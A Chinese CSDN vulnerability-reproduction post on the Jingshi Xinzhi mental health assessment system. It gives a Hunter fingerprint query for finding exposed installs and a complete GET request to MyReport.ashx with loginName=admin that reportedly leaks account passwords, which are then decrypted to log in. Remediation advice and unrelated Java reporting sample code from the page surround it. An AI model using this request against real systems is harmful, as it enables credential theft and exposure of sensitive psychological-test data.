【漏洞复现】京师心智心理健康测评系统-MyReport.ashx-敏感信息泄露漏洞

文章揭露了京师心智心理健康测评系统中的安全漏洞,攻击者可借此获取敏感信息。漏洞复现方法和使用POC手段被提及,建议设置访问白名单并联系厂商更新补丁以保障用户信息安全。
摘要由CSDN通过智能技术生成

免责声明

文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述

京师心智心理健康测评系统-账号密码泄露,攻击者可通过此漏洞获取敏感信息,登陆系统,获取用户信息,从而为下一步攻击做准备。

影响范围

京师心智心理健康测评系统
京师心智测评档案管理系统

资产测绘

Hunter语句:

web.body="JS/ligerComboBox/ligerTree.js"

image

漏洞复现

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=rs4n1faiajik5huarzvi431r
Connection: close


image

使用POC获取账号密码,针对密码进行解密,登陆系统

image

修复建议

1、设置白名单限制用户访问
2、联系厂家,更新补丁

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
好的,这里给您提供一个iReport-5.6.0集成Java展示报表的示例代码,供您参考: 1. 首先,您需要在iReport-5.6.0中设计好需要展示的报表,并将其导出成.jasper文件,假设该文件名为"myreport.jasper"。 2. 在Java项目中,添加以下依赖: ``` <dependency> <groupId>net.sf.jasperreports</groupId> <artifactId>jasperreports</artifactId> <version>6.17.0</version> </dependency> ``` 3. 编写Java代码,加载.jasper文件并填充数据: ``` import java.io.InputStream; import java.util.HashMap; import java.util.Map; import net.sf.jasperreports.engine.JasperExportManager; import net.sf.jasperreports.engine.JasperFillManager; import net.sf.jasperreports.engine.JasperPrint; import net.sf.jasperreports.engine.JasperReport; public class ReportDemo { public static void main(String[] args) { try { // 加载.jasper文件 InputStream inputStream = ReportDemo.class.getResourceAsStream("/myreport.jasper"); JasperReport jasperReport = (JasperReport) net.sf.jasperreports.engine.util.JRLoader.loadObject(inputStream); // 填充数据,这里使用Map作为数据源 Map<String, Object> parameters = new HashMap<>(); parameters.put("parameter1", "value1"); parameters.put("parameter2", "value2"); JasperPrint jasperPrint = JasperFillManager.fillReport(jasperReport, parameters, new JREmptyDataSource()); // 导出报表,这里以PDF格式为例 JasperExportManager.exportReportToPdfFile(jasperPrint, "myreport.pdf"); } catch (Exception e) { e.printStackTrace(); } } } ``` 4. 运行Java代码,在项目根目录下生成myreport.pdf文件,即为展示的报表。 以上就是一个简单的iReport-5.6.0集成Java展示报表的示例代码,您可以根据自己的需要进行修改和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值